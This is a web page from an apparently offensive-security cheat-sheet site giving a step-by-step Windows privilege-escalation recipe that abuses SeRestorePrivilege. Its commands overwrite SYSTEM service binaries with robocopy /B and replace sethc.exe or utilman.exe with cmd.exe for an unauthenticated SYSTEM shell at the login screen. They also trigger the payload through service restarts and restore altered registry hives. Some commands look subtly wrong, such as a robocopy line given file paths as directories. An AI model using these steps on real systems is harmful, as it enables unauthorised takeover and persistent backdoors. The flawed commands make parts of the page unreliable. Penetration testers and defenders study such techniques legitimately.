# SeRestorePrivilege Abuse for Privilege Escalation

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/serestoreprivilege-abuse
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-03-15

`SeRestorePrivilege` allows writing to any file on the system regardless of ACLs: the counterpart to `SeBackupPrivilege`. With this privilege you can overwrite service binaries, DLLs in system directories, and registry-backed files. The classic path is overwriting a service binary or a utilman/sethc sticky-key style binary, then triggering execution.

- Overwrite a SYSTEM service binary with a payload using `robocopy /B`
- Replace accessibility tools (sethc.exe, utilman.exe) for pre-login SYSTEM shells
- Restore modified registry hives to change service ImagePath values

## SeRestorePrivilege Windows Escalation Check

```bash
whoami /priv | findstr SeRestorePrivilege
```

`SeRestorePrivilege` must show `Enabled`. If disabled, enable it:

```powershell
# SeBackupPrivilegeCmdLets.dll (giuliano108) only exports SeBackupPrivilege cmdlets
# Enable SeRestorePrivilege via AdjustTokenPrivileges or EnableAllTokenPrivs:
# robocopy /B and reg restore activate backup/restore semantics automatically when the privilege is present in the token
```

## Step 1: Identify a Target File to Overwrite

**Service binary (most reliable):**

Find a service that runs as SYSTEM and whose binary you can overwrite using restore semantics:

```bash
# Find SYSTEM services
wmic service where "StartName='LocalSystem'" get Name,PathName | more

# Any service binary in a non-standard location
sc query type= all | findstr SERVICE_NAME
sc qc ServiceName
```

**System utility overwrite (for RDP/console access):**

When you have RDP or physical console access, overwrite accessibility tools that launch before login:

```
C:\Windows\System32\sethc.exe         (Sticky Keys: Shift x5)
C:\Windows\System32\utilman.exe       (Accessibility: Win+U)
C:\Windows\System32\osk.exe           (On-Screen Keyboard)
C:\Windows\System32\narrator.exe      (Narrator)
```

## Step 2: Overwrite the Target File

Use `robocopy /B` (backup mode): it respects `SeRestorePrivilege` and ignores file ACLs:

```bash
# Overwrite a service binary
robocopy /B C:\Windows\Temp C:\Path\To service.exe /MT:1

# Overwrite a system utility (sticky keys: Shift x5)
robocopy /B C:\Windows\Temp C:\Windows\System32 sethc.exe /MT:1
```

Using the reg restore API via PowerShell for registry-backed files:

```bash
reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM
```

## Step 3: Trigger Execution

**If you overwrote a service binary:**

```bash
sc stop ServiceName
sc start ServiceName
```

**If you overwrote sethc.exe with cmd.exe (RDP/console):**

1. Connect to RDP or sit at the console login screen
2. Press Shift five times rapidly
3. A SYSTEM cmd.exe opens without authentication

**If you overwrote utilman.exe with cmd.exe:**

1. At the Windows login screen, press `Win+U`
2. SYSTEM cmd.exe opens

## Step 4: Restore Original Files

After escalating, restore the original files to avoid breaking the system:

```powershell
# Restore the original binary from backup using robocopy /B
robocopy /B C:\Path\To original.exe.bak C:\Path\To original.exe /MT:1
```

If you did not back up the original, restore from the Windows installation:

```bash
# Extract original from WinSxS
dism /online /cleanup-image /restorehealth
sfc /scannow
```

## SeRestorePrivilege via Registry

With `SeRestorePrivilege` you can also restore registry hives, which allows modifying service ImagePath values:

```bash
# Load a modified registry hive
reg load HKLM\TempHive C:\Windows\Temp\modified_hive
# Modify values in HKLM\TempHive
reg unload HKLM\TempHive
# Restore to the live hive location
reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM
```

## References

- [Windows Privilege Constants](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants) - Microsoft Docs SeRestorePrivilege definition and file access rights granted.
- [SeBackupPrivilege CmdLets](https://github.com/giuliano108/SeBackupPrivilege) - PowerShell module supporting both backup and restore semantics file operations.